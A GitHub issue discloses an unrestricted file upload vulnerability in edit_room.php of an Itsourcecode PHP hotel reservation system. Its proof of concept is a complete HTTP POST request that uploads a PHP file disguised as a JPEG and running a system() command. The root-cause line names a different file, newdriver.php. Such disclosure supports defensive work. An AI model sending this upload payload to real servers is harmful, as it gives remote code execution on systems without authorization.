Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Itsourcecode Simple Online Hotel Reservation System in PHP Project With Source Code 1.0 edit_room.php Unrestricted Upload #6

Open
wangyuan-ui opened this issue Jun 18, 2024 · 0 comments

Comments

@wangyuan-ui
Copy link
Owner

Itsourcecode Simple Online Hotel Reservation System in PHP Project With Source Code 1.0 edit_room.php Unrestricted Upload

NAME OF AFFECTED PRODUCT(S)

  • Simple Online Hotel Reservation System in PHP Project With Source Code

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • wangyuan-ui

Vulnerable File

  • edit_room.php

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • File upload

Root Cause

  • In line 9 of the newdriver.php file, the input obtained through $_FILES is directly used to determine the storage location of the file without verification or cleaning. The specific code snippet is as follows:
  • 1

Impact

  • Attackers can exploit this vulnerability for unrestricted uploads, which may lead to file overwrite, file injection, directory traversal attacks, and denial of service attacks. Remote attacks may also result in RCE

DESCRIPTION

  • wangyuan-ui discovered that the file upload operation was triggered on line 9 of the 'edit_room.php' file and the uploaded file was received using the '$_FILES' variable. Due to the lack of appropriate input validation and cleaning, remote attackers can pass malicious payloads through this file upload feature, resulting in unrestricted file uploads, which may further lead to remote code execution (RCE).

Vulnerability details and POC

Payload

POST /admin/edit_room.php?room_id=5 HTTP/1.1
Host: localhost:8103
Content-Length: 2413
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8103
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGTYaxjScwwCSSNWA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8103/admin/edit_room.php?room_id=5
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryGTYaxjScwwCSSNWA
Content-Disposition: form-data; name="room_type"

Standard
------WebKitFormBoundaryGTYaxjScwwCSSNWA
Content-Disposition: form-data; name="price"

3500
------WebKitFormBoundaryGTYaxjScwwCSSNWA
Content-Disposition: form-data; name="photo"; filename="rce.php"
Content-Type: image/jpeg



Node: Sorry, due to some encoding reasons, I am unable to use Markdown to store image data with attack payloads here. I will take a screenshot to show



<?php system("ipconfig"); ?>
------WebKitFormBoundaryGTYaxjScwwCSSNWA
Content-Disposition: form-data; name="edit_room"


------WebKitFormBoundaryGTYaxjScwwCSSNWA--


  • 2

I successfully executed the PHP script on the terminal

  • 3
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant